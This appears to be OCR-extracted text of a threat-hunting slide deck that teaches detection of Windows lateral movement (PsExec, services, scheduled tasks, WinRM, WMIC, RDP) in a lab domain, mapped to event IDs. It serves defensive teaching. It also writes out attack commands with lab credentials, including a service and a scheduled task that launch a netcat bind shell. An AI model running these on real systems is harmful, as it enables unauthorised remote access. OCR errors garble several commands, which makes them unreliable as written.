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Anatomy of an attack

Lateral movement is an essential
part of how adversaries target
enterprise environments Maintain Move

Persistence teraIIy

> > > >

Initial Compromise Establish Foothold Escalate Privileges Internal Recon Action on Objectives

> > > > >

Lateral movement: Techniques that enable an adversary to access and control remote systems on the network

Inspired by: https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html



https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

Living off the land

“Living off the land refers to attacker Use of

existing tools & features installed or already
existing in the target environment drastically
reducing the footprint and hence evading
detection.”




Why Pivot/Move Laterally?

System Admin Server <>

.
L/ U
—

‘ Data Exfil

IT
gi ‘ HR Internet
< .
)

Maintain Move
Persistence / Laterally
> > > >

Initial Compromise Establish Foothold Escalate Privileges Internal Recon Action on Objectives

> > > > >

Inspired by: https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html
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https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

Anatomy of an attack?

Dump — Crack(optional) - Reuse

Hash NT hash Local System/ PTH*, Over PTH, Crack for Clear text
Domain Controller Credential
Hash Memory — Local System PTH, PTT*, Over Pass the hash

Local/Domain

Cached Credential Domain Cached Local System No PTH, Crack and use Only
Credential — Domain

User Access Token Memory — Domain Local System Impersonation

KRBTGT/Service Hash NT Hash — Domain Domain Controller Golden Ticket, Silver Ticket, PTT, PTH
Controller

PTH: Pass the Hash , PTT: Pass the Ticket



Hypothesis

“A known adversary group “black bear” has

gained access to our environment and using
living of the land techniques(LotL) to move

laterally across the environment. The

attacker group is known to be stealthy and

use stolen credentials/hashes”
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Lateral Movement

9 techniques

Exploitation of
Remote
Services

Internal
Spearphishing

RDP (Remote Desktop Protocol)

_ RDP (Remote Desktop Protocol)

4

Lateral Tool _
Transfer SMB (Server Message Block)
Remote Service SSH Hijacking
Session
Hijacking () RDP Hijacking
Remote Desktop Protocol
SMB/Windows Admin Shares
Remote Distributed Component Object Model
Services (g) SSH
VNC
Windows Remote Management
Replication
Through
Removable
Media
Software
Deployment
Tools

Taint Shared

Content
Pass the Hash
Use Alternate Pass the Ticket
Authentication
Material (4 Application Access Token

Web Session Cookie

*https://attack.mitre.org/tactics/TAO008/

PsExec & look alike
Scheduled Tasks (at/schtasks)
SMB (Server Message Block)

WinRM (Windows Remote Management)

WMIC (Windows Management Instrumentation Command line)
Services

PowerShell

CROWDSTRIKE GLOBAL THREAT REPORT 2020

Lateral Movement

AppleScript
Application Deployment Software

Component Object Model and
Distributed COM

Exploitation of Remote Services

Internal Spear-phishing

Logon Scripts

Pass the Hash

Pass the Ticket

Remote Desktop Protocol

Remote File Copy

Remote Services

Replication Through Removable Media
Shared Webroot

SSH Hijacking

Taint Shared Content

Third-party Software
Windows Admin Shares

Windows Remote Management
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*https://www.crowdstrike.com/resources/reports/2020-crowdstrike-global-threat-report/



https://attack.mitre.org/tactics/TA0008/
https://attack.mitre.org/tactics/TA0008/

Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)
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Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PskExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)
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:\Im>sigcheck.exe -nobanner PsExec.exe
:\Im\PsExec.exe:

* live.sysinternals.com e oaa o/28/2015

Signing date:

Publisher: Microsoft Corporation
. . Company: Sysinternals - www.sysinternals.com
o Req u I reS Ioca I a d m I n a CceSS Description: Execute processes remotely

Product: Sysinternals PsExec

on target File version: 2.2
MachineType: 32-bit
* SMB and RPC protocol
* Living of the Land Technique

() File published by Microf

3337e3875b05e0bfba69ab926

o PsExec

direct-cpu-clock-access invy
Community

Score
DETECTION DETAILS RELATIONS

Acronis Undetected

14



PsExec in action

C:\Users\don\Desktop\Red\sysinternals>hostname
Plane@2

C:\Users\don\Desktop\Red\sysinternals>PsExec.exe \\192.168.35.1 -u talespin\super_admin -p Password@123
cmd.exe -accepteula -nobanner

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
dco1l

Using PsExec to move to another system

1. Copy executable (PSEXESVC.EXE/Random) to the share
2. Remotely create a service
3. Run the service & hence the executable as SYSTEM

15




PsExec & lookalikes

root@kali:/usr/share/doc/python3-impacket/examples# python psexec.py talespin/super_admin:"Orange@123"@192.168.35.101
Psexec Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.35.101.....
[*] Found writable share ADMIN$
[*] Uploading file SPQOsZCE.exe

Psexec.py » [*] opening SVCManager on 192.168.35.101.....
[*]
[*]
[']

Creating service XSRR on 192.168.35.101.....
Starting service XSRR.....
Press help for extra shell commands

Microsoft Windows [Version 10.0.19041.264]

MSF - psexec (c) 2020 Microsoft Corporation. All rights reserved.

[c: \Users\don\Desktop\Red\remcom>RemCom.exe \\192.168.35.101 /user:"talespin\super_admin" /pwd:Orange@123 cmd.exe
crackmapexec

Remote Command Executor
Copyright 2006 The WiseGuyz [ http://talhatariq.wordpress.com ]
Author: Talha Tariq [talha.tarig@gmail.com]

m Initiating Connection to Remote Service . . . Ok

IMicrosoft Windows [Version 10.0.19041.264]
Nmap-psexec (c) 2020 Microsoft Corporation. All rights reserved.

|C:\Windows\system32>




PsExec in Action




Detecting PsExec Usage

@Copv executable ‘SECURITY Event Log:

Logon Event - 4624 Type 3
+ Sometimes - 4624 Type 2

SECURITY Event Log:

@Create a Service ‘ New Service installed - 4697

SYSTEM Event Log:
Service Creation Event - 7045

®Run the service ‘ Execution of PSEXECSVC.EXE

Other random named files

SECURITY Event - 4688 & Others

TargetUserName super_admin

TargetDomainName TALESPIN

TargetLogonld  0x3f58eb2

LogonType 3

LogonProcessName NtLmSsp

AuthenticationPackageName NTLM

WorkstationName PLANEO2

LogonGuid {00000000-0000-0000-0000-000000000000}
TransmittedServices-

LmPackageName NTLM V2

EventID - 4624

SubjectUserName super_admin - EventData
SubjectDomainName TALESPIN ServiceName
SubjectLogonld 0x3f58eb2 ImagePath
ServiceName  PSEXESVC ServiceType
ServiceFileName %SystemRoot%\PSEXESVC.exe StartType
ServiceType 0x10 AccountName
ServiceStartType 3

PSEXESVC
%SystemRoot%\PSEXESVC.exe
user mode service

demand start

LocalSystem

EventID - 4697

EventID - 7045

‘) -
SubjectDomainName TALESPIN

SubjectLogonid 0x3e7

NewProcessld  0x1330

NewProcessName C:\Windows\PSEXESVC.exe
TokenElevationType %%1936

Processld 0x248

CommandLine

TargetUserSid  S-1-0-0

TargetUserName -

TargetDomainName-

TargetLogonld  0x0

ParentProcessName C:\Windows\System32\services.exe

18

EventID - 4688




4624 Logon Types

Type

Title

Description

2Interactive Primarily Logon at the console of a computer — other use cases also
A connection over the network, example connection to shared
3Network folder on this computer from elsewhere on network.
4Batch Scheduled task
5Service Service start-up
Account Unlocked - unattended workstation with password
7Unlock protected screen saver
Logon with credentials sent in the clear text. Most often indicates a
8NetworkCleartext [ogon to IIS with "basic authentication"

9

New Credentials

A user used new credentials. Used when you run an application
using the RunAs command.

10

Remotelnteractive

Terminal Services, Remote Desktop or Remote Assistance

11

CachedInteractive

logon with cached domain credentials such as when logging on to a

AD laptop when away from the network.




System 2 Detecting Lateral Movement using valid Credentials

1 - Provider

[ Name] Microsoft-Windows-Security-Auditing
[ Guid] {54849625-5478-4994-A5BA-3E3B0328C30D}
[ EventiD 4624 ] G EventlD 4624
Version 2
Level 0
Task 12544
Opcode 0
Keywords 0x8020000000000000

+ TimeCreated
EventRecordID 216661

Correlation

+ Execution

Channel Security

[omnrer T Computer dc01.talespin.ad

Security Workstation |Workstation

- EventData Name Owner Uniq.Count User Name

:z:::::ﬂ::::':mjwo PLANEO2 Don 10 super_admin
SubjectDomainName- PLANEO1 baloo 2 baloo
Sublectiogontd (0 SHIPO3 Louie 1 kit

TargetUserSid  S-1-5-21-1263940009-3309885889-3786960370-1104
TargetUserName super_admin < TargetUserName super_admin

TargetDomainName TALESPIN

TargetLogonld  0x1d692b - -
ILogonType 3 l 4— LOgO“Type 3

LogonProcessName NtLmSsp

AuthenticationPackageName NTLM .

< WorkstationName PLANEQ?2
LogonGuid {00000000-0000-0000-0000-000000000000}
TransmittedServices-

LmPackageNameNTLM V2

KeyLength 128

Processid 0x0

ProcessName -

IlpAddress 192.168.35.102 | 4— IpAddress 192.168.35.102
IpPort 53137
ImpersonationLevel %%1833
RestrictedAdminMode -
TargetOutboundUserName -
TargetOutboundDomainName -
VirtualAccount 9%9%71843 20
TargetLinkedLogonld 0x0




Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)
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Windows Services

e Use Service Controller-> sc.exe
* Run in the background as SYSTEM
 Setup remotely/locally

 Servify an executable
 Inform back to service control manager (SCM)
 https://github.com/inguardians/ServifyThis

* Or use cmd /c

22


https://github.com/inguardians/ServifyThis

Run Service Remotely

C:\> sc \\192.168.35.1 create malicious_service binpath=
"cmd /c \\plane@2\share\nc -1 -p 4444 -e cmd.exe”

C:\> sc \\192.168.35.1 start malicious_service

C:\> sc \\192.168.35.1 delete malicious_service

Creating and running a remote service

23



Administrator: Command Prompt

C:\share>

Scin Actign




Detecting Malicious Services - Windows Logs

 EventID 4624 Type 3 -> Logon from unexpected location

* EventlID 4624 followed by 4697/7045 —> Logon — Service Installed
 EventID 4624 followed by 7036 -> Service Started
 EventID 4688 —> Command line Logging

Security Number of events: 19 (1) New events available
Keywords Date and Time Source Keywords Date and Time Source A
2, Audit Success 8/19/2020 1:20:44 PM Microsoft Windows security auditing. Audit Success 8/19/2020 1:3:05 PM Microsoft Windows security auditing.
Audit Success 8/19/2020 1:29:44 PM Microsoft Windows security auditing. Audit Success 8/19/2020 1:33:05 PM Microsoft Windows security auditing.
Audit Success 8/19/2020 1:29:18 PM Eventloa v @ Bukit Surrecs 271972000 1:32:05 M Micrrentt Windruwe seruritu aneliting R v
< > <
Event 4697, Microsoft Windows security auditing. x Event 4682, Microsoft Windows security auditing. =
General |Detaik General | Details
A service was installed in the system, ~ brocess Information: A
New Process ID: 01330
Subject: New Process Name: \Device\Mup\planeD2\share\nc.exe
i ID: LALESPINL b Token Elevation Type:  %%1936
| Account Name: super_admin | Mandatory Label: Mandatory Label\System Mandatory Level
BT O TREESPTY 5 0 Dibad
Logen ID: OxCEAF29 Creator Process Name: Windows\System32\cmd.
Process Command Line: nc | -p 4444 - cmd.exe
Service
Servige Name: malicious_service Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.
Servie File Name: cmd /c \\planeD2\share\ne -1 -p 4444 -e cmd.exe
Serv - Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the
Senice Start Type L 5 Juser is the built-in Administrator account or a service account. v
Log Name: Security Log Name: Security
Source: Microsoft Windows security  Logged: 8/19/2020 1:29:44 PM Source: Microsoft Windows security Logged: 8/19/2020 1:32:30 PM
Event ID: 4597 Task Category: Security System Extension Event ID: 4688 Task Category: Process Creation
Level: Information Keywords:  Audit Success Level: Information Keywords:  Audit Success
User: N/A Computer.  dcOl.talespin.ad User: N/A Computer.  dcOl.talespin.ad
OpCode: Info OpCode: Info
More Information: ~ Event Log Online Hel More Information: ~ Event Log Online Help

25
4697 - Service Installed EventID-4688 — cmdline logging



Hunting Malicious Services

PS C:\> Get-WmiObject win32_ service | Select PSComputername, name, state, pathname

PSComputerName name state pathname

DCo1 malicious service  Stopped cmd /c \\plane@2\share\nc -1 -p 4444 -e cmd.exe

List Services using PowerShell from live system

PS C:\Windows\system32> Get-ItemProperty -Path
HKLM: \SYSTEM\CurrentControlSet\Services\malicious* | Select-Object PSChildName, ImagePath

PSChildName ImagePath

malicious service cmd /c \\plane@2\share\nc -1 -p 4444 -e cmd.exe

Services From Registry

Collect SYSTEM HIVE & Parse into ELK, add Intelligence and look at last modified
date or perform long tail analysis

26




Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)

27



Scheduled Tasks

e Used for Persistence & Lateral Movement
* Admin rights on the destination to create new task

C:\> schtasks /create /tn malicious_task /tr "cmd /c
\\plane@2\share\nc -1 -p 4444 -e cmd.exe" /sc once /st 22:00 /S
192.168.35.1 /RU System

C:\> schtasks /run /tn malicious_task /S 192.168.35.1

C:\> schtasks /F /delete /tn malicious_task /S 192.168.35.1

Creating, running and deleting scheduled task

28



inistrator: Command Prompt

W— Scheduled task in Action }




Detecting Malicious Scheduled Tasks

Windows Event Log §
Analysis

 EventID 4624 Type 3 -> Logon from unexpected location

 EventID 4624 followed by 4698 —> Logon — Scheduled Task
Created

 EventID 4698 followed by 4699 -> Scheduled Task created -
deleted

 EventID 4700/4701 — Scheduled Task enabled/disabled

 EventID 4688 — Command line Logging

* Microsoft-Windows-TaskScheduler/Operational log

30
*https://www.appliedincidentresponse.com/windows-event-log-analyst-reference/



Hunting Malicious Scheduled Tasks

C:>schtasks /query /v /fo csv > C:\temp\scheduled tasks.csv
Collect and analyze Scheduled tasks

Logon A1 Name Type Data
Maintenance ab) (Default) REG_SZ (value not set)
ii'll at] REG_SZ {055E7138-EBTF-4D31-A937-55E47E1263C9}
P #Index REG_DWORD 0x00000003 (3)
: w)sD REG_BINARY 01 00 04 80 78 00 00 00 88 00 00 00 00 00 00 00 14 0...

CreateExplorerShellUnelevatedTask
malicious_task
Microsoft

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Schedule\TaskCache\Tasks & Tree

31



Hunting Malicious Scheduled Tasks

|4 v
“ Home Share View L
« v 4 > ThisPC » Local Disk (C:) > Windows > System32 » Tasks v © | Search Tasks p
Marnc ~ Date modifiad Tina Siza
] malicious_task - Notepad — o X

File Edit Format View Help

<?xml version="1.0" encoding="UTF-16"2> o
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

I (Authcr)TALESPIN\sueer‘ admin(/l\uthcr>|

<URI>\malicious_task</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<StartBoundary>2020-08-19T22:00:00</StartBoundary>
<Enabled>true</Enabled>

1 </TimeTrigger> <Actions Context="Author">
</Triggers> <Exec>
‘59:‘%”%5; . Potiews o< Multiplel pors <Commandscnd</Connand
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> /&gument»/c \\planeb2\share\nc -1 -p 4444 -e cmd.exe</Arguments> I
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> < N
<AllowHardTerminate>true</AllowHardTerminate> </Actions>

<StartWhenAvailable>false</StartlhenAvailable>
i <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>

XML Scheduled Task

Collect & Parse into ELK, add Intelligence and look at last modified date or
perform long tail analysis 32



Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)

33



PowerShell

* PowerShell is Powerful
* PowerShell Remoting is very useful for management
» Attack & Defense Usage

* WinRM needs to be enabled
* Enable-PSRemoting (Enabled by Default on Server OS)
* Microsoft's implementation of WS-Management in Windows

e System to be part of the domain or a trusted host

34



PowerShell Remoting

PS C:\> Enter-PSSession -ComputerName dc@l.talespin.ad -Credential
talespin\Administrator

[dcOl.talespin.ad]: PS C:\Users\Administrator\Documents> hostname
dcol

[dcOl.talespin.ad]: PS C:\Users\Administrator\Documents> whoami
talespin\administrator

Starting a Remote PowerShell Session

35




PS in Action
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Enable - PowerShell Logging

. Windows PowerShell
State Commen it

Enabled N

Enabled N

Mot configured No
N
N

Select an item to view its description.

Enabled
LEE

|i=| Set the default source path for Update-Help Mot configured

GPO: Administrative Templates - Windows Components - Windows PowerShell

* Microsoft-Windows-PowerShell Operational.evtx.
* Eventid 4103 - Module Logging -> Most detailed PS logs
* Eventid 4104 - Script Block Logging -> all executed de-obfuscated PS code

* Transcription Logs
* Captures PowerShell input and output

e write transcripts to a remote, write-only network share in text file

*https://www.fireeye.com/blog/threat-research/2016/02/greater_visibility.html 37



Detecting & Hunting PS Lateral Movement

 EventID 4624 Type 3 -> Logon from unexpected location

e EventID 4103 -> Module Block Logging
e EventID 4104 —> Script Block Logging
e Signs of Execution — wsmprovhost.exe

Hunt Logs for:

Command line Arguments: “-Encoded Command”
Commandlets: “iex Invoke-Expression, Invoke-Command”

Network activity: Encryption or encoding:

*  System.Net.HttpWebClient *  ConvertTo-SecureString cmdlet

e System.Net.WebClient *  Security.Cryptography.CryptoStream

. System.Net.HttpListener . [System.Convert]::ToBase64String(Sstring)

. System.Net.Sockets.Socket . Etc etc 38

*https://www.cyber.gov.au/sites/default/files/2019-03/Securing_PowerShell.pdf



Lateral Movement

1. SMB - Server Message Block (TCP/445,135)
* PsExec & look alikes
* Scheduled Tasks (at/schtasks)
* Remote Services

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135 & Higher)
4. RDP - Remote Desktop Protocol (TCP/3389)

39



* Windows Remote Management Client

* Command sent over HTTP/HTTPs by leveraging web
services for management Protoco

* Interactive shell

C:\> winrs /r:http://dcol.talespin.ad:5985 /t:600 /u:talespin\super_admin
/p:Password@l123 "cmd.exe"

Windows Remote management Client

40




Detecting & Hunting Winrs Lateral Movement

 EventID 4624 Type 3 -> Logon from unexpected location

 EventID 4688 —> command Line Logging
* Execution of winrshost.exe
* EventID 6 (Source) and EventID 91 (Destination)

2,355 I Operational Number of events: 177
Level Date and Time Source [ Level Date and Time Source @

9/8/2020 10:13:50 pm Windows Remote Managem... Information dows Remote Mana...

9/8/2020 10:13:50 pm Windows Remote Managem... Information Windows Remote Mana...

9/8/2020 10:13:50 pm Windows Remote Managem... JInformation 8/9/2020 4:14:13 PM Windows Remote Mana... v

Armranan anaen [PPSR PR hd < >

>
Event 91, Windows Remote Management x
Event 6, Windows Remote Management x
General Details
General Details
- - - — Creating W5Man shell on server with Resourcelri: 61
Creating WSMan Session. The connection string is: htt,
Log Name: Microsoft-Windows-Windows Remote Management/Operational
Log Name: Microsoft-Windows-Windows Remote Management/Operational .
X Source: Windows Remote Managem Logged: 8/9/2020 10:13:50 PM
Source: Windows Remote Managem Logged: 9/8/2020 10:13:50 pm i
. e Event ID: 91 Task Category: Request handling
Event ID: 6 Task Category: WSMan Session initialize .
Level: Information Keywords: Server
Level: Information Keywords: Client - .
. User: ALESPIN\super_admin Computer: dc01.talespin.ad
User: TALESPIN\super_admin Computer: planeD2.talespin.ad
OpCode: Info
OpCode: [} . .
. . More Information:  Event Log Online Help

More Information: ~ Event Log Online Help

Source: EventID 6 Source: EventID 91 4l



Lateral Movement

1. SMB - Server Message Block (TCP/445)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)

42



WMIC

* Windows Management Instrumentation Command line

C:\>Wmic /node:dc@l /user:talespin\super_admin /password:Password@l23
process call create "cmd.exe /c (net user) >> c:\temp\testout2.txt”

C:\>Wmic /node:dc@l /user:talespin\super_admin /password:Password@l23
group list brief

Running remote process

* /node can take a file with IP Address/DNS Names
e RPC connection

43



Detection WMIC Lateral Movement

* EventlD 4624 Type 3 -> Logon
from unexpected location

 EventID 4688 —> Command line
Logging

* wmiprvse execution — Executes

WMIC process
* Child process of wmiprvse?

Event 4688, Microsoft Windows security auditing. x

General Details

A new process has been created. ~
Creator Subject:
Security ID: NETWORK SERVICE
Account Name: DCO1S
Account Domain: TALESPIN
Logon ID: 0:aE4
Target Subject:
Security ID: NULL SID
Account Name: super_admin
Account Domain: TALESPIN
Logon ID: Oxd20E042
Process Information:
New Process ID: 0x190c
New Process Name: C:\Windows\System32\cmd.exe
Token Elevation Type:  %2%1936
Mandatory Label: Mandatory Label\High Mandatory Level
Creator Process ID: Z

Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe
Process Command Line: | cmd.exe /c (net user) >> c:\templtestout2,

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the
user is the huilt-in Administrator account or a service accnunt.

Log Name: Security
Source: Microsoft Windows security Logged: 8/15/2020 11:23:44 PM
Event ID: 4688 Task Category: Process Creation
Levek: Information Keywords:  Audit Success

User: N/A Computer:  dc01.talespin.ad
OpCode: Info

More Information:  Event Log Online Hel

Source: EventID 4688 — Wmiprvse execution

*https://isc.sans.edu/forums/diary/Keep+an+Eye+on+Your+WMI+Logs/25012/

44


https://isc.sans.edu/forums/diary/Keep+an+Eye+on+Your+WMI+Logs/25012/

Lateral Movement

1. SMB - Server Message Block (TCP/445, 135)
* PsExec & look alikes

* Windows Services
* Scheduled Tasks (schtasks)

2. WinRM - Windows Remote Management (TCP/5985-6)

 PowerShell
* winrs

3. WMIC - Windows Management Instrumentation Cmd line (135++)
4. RDP - Remote Desktop Protocol (TCP/3389)

45



Remote Desktop - MSTSC

Remote Desktop Connection
Microsoft Service

Used for Administrative work
Port 3389

mstsc.exe

& Remote Desktop Connection —

| Remote Desktop
"¢ Connection

Computer: | de1] w

Username: TALESPINsuper_admin

‘You will be asked for credentials when you connect.

{>  Show Options

Help

46



Detecting RDP Lateral Movement - Source

* Microsoft-Windows-TerminalServices-RDPClient/Operational
* EventID 1024 -> “RDP ClientActiveX is trying to connect to the server (<hostname>)
* EventID 1029 -> “Terminal Services Connection Base64(SHA256(UserName))”
 EventID 1102 -> “Client has initiated multi-transport connection to the server <IP Address>.”
* EventID 1103-> “established a multi-transport connection”
* Signs of Execution - mstsc.exe

General Details

[RDP ClientActiveX is trying to connect to the server (dc01)

Log Name: Microsoft-Windows-TerminalServices-RDPClient/ Operational
Source: TerminalServices-ClientActiv Logged: 10/8/2020 11:33:54 am
Event ID: 1024 Task Category: Connection Sequence
Level: Information Keywords:

User: TALESPINVdon Computer:  planeD2.talespin.ad
OpCode: This event is raised during th

More Information: ~ Event Log Online Hel

General Details

Base64(SHA236(UserName) is = /MA1EpsLrq2RyuQPvmKEUIGTGEIS + poTTFgus2ys=-

Log Name: Microsoft-Windows-TerminalServices-RDPClient/ Operational
Source: TerminalServices-ClientActiv Logged: 10/8/2020 11:33:59 am
Event D: 1029 Task Category: Connection Sequence
Level: Information Keywords:

User: TALESPIN\don Computer.  plane02 talespin.ad
OpCode: This event s raised during th

More Information: ~ Event Log Online Hel

General Details

Date and Time EventID  Task Category EventID  Task Category Level Date and Time EventID  Task Category B
10/8/202011:33:59 am 1102 Connection Sequence 1102 Connection Sequence (€7 information 10/8/2020 11:32:50 am 1102 Connection Sequence
10/8/2020 11:33:59 am 1029 Connection Sequence (€1 information 1029 Information 10/8/2020 11:33:59 am 1029 Connection Sequence
020 11:33:54 am 1028 Connection Sequence ) Information 1028 Connection Sequence information 10/8/2020 11:33:54 am 1028 Connection Sequence
(€ Information 10/8/2020 11:33:54 am 1024 Connection Sequence n 10/8/2020 11:33:54 am 1024 Connection Sequence Information 10/8/2020 11:33:54 am 1024 Connection Sequence .
e POy rene T — pren - p— R o - nnianan asanen ame P R s o ame e N
Event 1024, TerminalServices-ClientActiveXCore Event 1029, TerminalServices- ClientActiveXCore x Event 1102, TerminalServices- ClientActiveXCore

[The client has initiated 2 multi-transport connection to the server 192.168,35.1

Log Name: Microsoft-Windows- TerminalServices-RDPClient/Operational
Source: TerminalServices-ClientActiv. Logged: 10/8/2020 11:33:59 am
Event ID: 1102 Task Category: Connection Sequence
Level Information Keywords:

User: TALESPIN\don Computer:  plane02.talespin.ad
OpCode: This event is raised during th

More Information: ~ Event Log Online Help

EventID 1024

EventID 1029

EventID 1102
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Detecting RDP Lateral Movement - Destination

 EventID 4624 Type 10 -> Logon from unexpected location

Security Number of events: 27 () New events available
7 Filtered: Log: Security; Source: ; Event ID: 4624 Number of events: 8
Keywords Date and Time Source EventID Task Category ~
@, Audit Success 8/10/2020 11:34:01 AM Microsoft Windows security auditing. 4624 Logon
2, Audit Success 8/10/2020 11:34:01 AM Microsoft Windows security auditing. 4624 Logon
ol Audit Success 8/10/2020 11:34:00 AM Microsoft Windows security auditing. 4624 Logon
Audit Success 8/10/2020 11:34:00 AM Microsoft Windows security auditing. 4624 Logon
Audit Success 8/10/2020 11:34:00 AM Microsoft Windows security auditing. 4624 Logon
Audit Success 8/10/2020 11:34:00 AM Microsoft Windows security auditing. 4624 Logon v
< >
Event 4624, Microsoft Windows security auditing. x
General Detils
[An account was successfully logged on. ~
Subject:
Security ID: SYSTEM
Account Name: DCO1S
Account Doma TALESPIN
Logon ID: 0ET
Virtual Account: No
Elevated Token: No
Impersonation Level: Impersonation
New Logon:
Security ID: TALESPIN\super_admin
Account Name: super_admin
Account Domain: TALESPIN v
Log Name: Security
Source: Microsoft Windows security Logged 8/10/2020 11:34:00 AM
Event ID: 2624 Task Category: Logon
Level Information Keywords:  Audit Success
User: N/A Computer:  de01 talespin.ad
OpCode: Info
More Information:  Event Log Online Help

EventID 4624 48



Detecting RDP Lateral Movement - Destination

*  Microsoft-Windows-Terminal-Services-RemoteConnectionManager
 EventID 1149 -> “User authentication successful”
e Just means connection created
*  Microsoft-Windows-TerminalServices-LocalSessionManager
 EventlID 21 -> “Remote Desktop Services: Session logon succeeded:”
* Signs of Execution — rdpclip.exe, tstheme.exe

Operaﬁonai Number of events: 6 Operational  Number of events: 206
Level Date and Time pr— Task Categor 7 Filtered: Log: Mic d 1 Operational; Source: ; Event ID: 21.
i SAUEE IR e Level Date an Source Task Category A
8/10/2020 11:33:54 AM None . -
/1072020 11:31:27 AM None Dl
/102000 119112 A0 N (@ Information  8/9/2020 11:09:53 PM TerminalServices-LocalSessionMana...  None
on ST one v (@) Information _8/9/2020 1:50:11 PM TerminalServices-LocalSessionMana...  None v
> < >
Event 1149, TerminalServices-RemoteConnectionManager x Event 21, TerminalServices-LocalSessionManager x
General | Details General Details
[Remote Desktop Services: User authentication succeeded: Remote Desktop Services: Session logon succeeded:
User: super_admin User: TALESPIN\super_admin
Domain: TALESPIN Session ID: 1
Source Network Address: 192.168.35.102 Source Network Address: LOCAL
Log Name: Microsoft-Wind ices R Operational Log Name: Mici d i es-L. Operational
Source: TerminalServices-RemoteCo Logged: £/10/2020 11:33:59 AM Source: TerminalServices-LocalSessic Logged: 8/10/2020 10:37:41 AM
Event ID: 1149 Task Category: None Event ID: 2 Task Category: None
Level Information Keywords: Level: Information Keywords:
User NETWORK SERVICE Computer:  dcD1 talespin.ad User: SYSTEM Computer  dcOi alespin.ad
OpCode: Info OpCode: Info
More Information: ~ Event Log Online Help More Information: ~ Event Log Online Help

EventID 1149 EventID 21 49
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Detecting remote desktop connection

EventID 1024 “RDP Client Trying to connect <hostname>" ->
EventID 1029 “Base64(SHA256(UserName)” ->

EventID 1102 “initiated connection to <IP Address>" ->
EventID 1103. “Connection established”

RDP Successful Logon - Source

EventID 1149 “User authentication successful” ->

EventID 4624 Type 10 - Logon ->
EventID 21 “Remote Desktop Services: Session logon succeeded:”

RDP Successful Logon - Destination

https://www.13cubed.com/downloads/rdp_flowchart.pdf 50
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Hunting Technique - RDP

Source System

System1 Yes Joe
System10 No Mike
System3 Yes Jai

EventID 4624 Type 10

* Quick win — Check where your Admins are using RDP from?
* Use Jump Server
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rovider
[ Name]

Microsoft-Windows-Security-Auditing

[ Guid] {54849625-5478-4994-A5BA-3E3B0328C30D}
| EventiD 4624 | |
Version 2
Level 0
Task 12
Opcode 0
Keywords Oxi

+ TimeCreated

EventRecordID 21
Correlation

Execution

+

Channel Security

lComputer dc01.talespin.ad l <

Security
- EventData
SubjectUserSid S-1-0-0
SubjectUserName-
SubjectDomainName -
SubjectLogonld 0x0

TargetUserSid  S-1-5-21-1263940009-3309885889-3786960370-1104
ITar:etUserNamesuEerﬁadmin I 4

TargetDomainName TALESPIN

TargetLogonld  0x1d692b
ILogonType 3

LogonProcessName NtLmSsp

AuthenticationPackageName NTLM
orkstationName PLANEO2

LogonGuid {00000000-0000-0000-0000-000000000000}
TransmittedServices-

LmPackageNameNTLM V2

KeyLength 128

Processid 0x0

ProcessName -
IlpAddress 192.168.35.102 I 47

IpPort 53137

ImpersonationLevel %%1833
RestrictedAdminMode -
TargetOutboundUserName -
TargetOutboundDomainName -
VirtualAccount 9%9%71843
